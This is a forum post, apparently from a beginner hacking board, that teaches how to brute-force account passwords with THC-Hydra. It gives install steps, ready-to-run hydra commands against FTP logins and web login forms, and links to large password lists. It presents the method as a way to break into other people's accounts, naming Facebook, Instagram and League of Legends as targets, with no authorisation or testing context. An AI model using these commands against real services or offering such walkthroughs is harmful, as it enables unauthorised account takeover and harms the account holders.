Oct 21, 2014 02:57 PM
(This post was last modified: Jan 18, 2015 12:17 PM by High On Quack.)
Bruteforcing with THC-HYDRA
I see a lot of threads in beginner hacking asking questions like: "How do I hack_ accounts", "how do I get the password for ___"
This tutorial will teach you how to brute force accounts with thc-hydra (command line version)
Requirements:
- PC, MAC, or LINUX OS (kali linux is the best to use)
- Macports (if on mac)
- Cygwin (PC)
- Aptitude (if not on linux other than kali linux)
Installing on Mac:
Grab MacPorts and install it here: https://www.macports.org/install.php
Once installed, open up terminal. Type/copy the following lines into terminal:
Code
port install libssh
port install hydrathc-hydra is now installed on your mac.
Installing on Linux:
Code
Ubuntu/Debian: apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev libncurses5-dev
Redhat/Fedora: yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel
OpenSuSE: zypper install libopenssl-devel pcre-devel libidn-devel ncpfs-devel libssh-devel postgresql-devel subversion-devel libncurses-develNow use wget or curl to download The hydra source http://www.thc.org/releases/hydra-8.0.tar.gz
Use tar to unpack it:
Code
tar -xzf hydra-8.0.tar.gzNow run:
Code
cd hydra-8.0
./configure
makeUsing THC-Hydra!
The most common way that I have used thc-hydra is to brute force ftp accounts
how you would do this is by typing:
Code
hydra -l ftpuser -P mypasswordlist.txt ftp://leftpserver.netYou can look up how to use the program to your specific needs by typing:
Code
hydra -hUsing THC-Hydra WITH HTTP!
HTTP is the most useful form of a brute force attack, it allows you to crack web logins like facebook, instagram, league of legends, you name it!
Here is what you need to know for an http attack:
Website domain: example.com
Method(Type this in correct order): http-form-post
What the website returns on incorrect login: Wrong password fool.
url of the page: /login.php
Form parameters (these are the name="~~~" variable in an input tag): user=^USER^&password=^PASS^
and then your users file/passwords file and other stuff that I showed you in the last section.
Here is the command (replace with your own variables)
Code
hydra example.com http-form-post "/login.php:user=^USER^&pass=^PASS^:Wrong password fool." -L users.txt -P pass.txt -t 10PASSWORD LISTS! (The most important part)
10000 Most Commonly used passwords - http://adf.ly/t6veM
Computer Generated list of ~250,000,000 passwords! - http://getfiles.co/4uDH
PLEASE pm me with any questions I would love to help!


![[Image: Q66VxMc.png]](https://i.imgur.com/Q66VxMc.png)
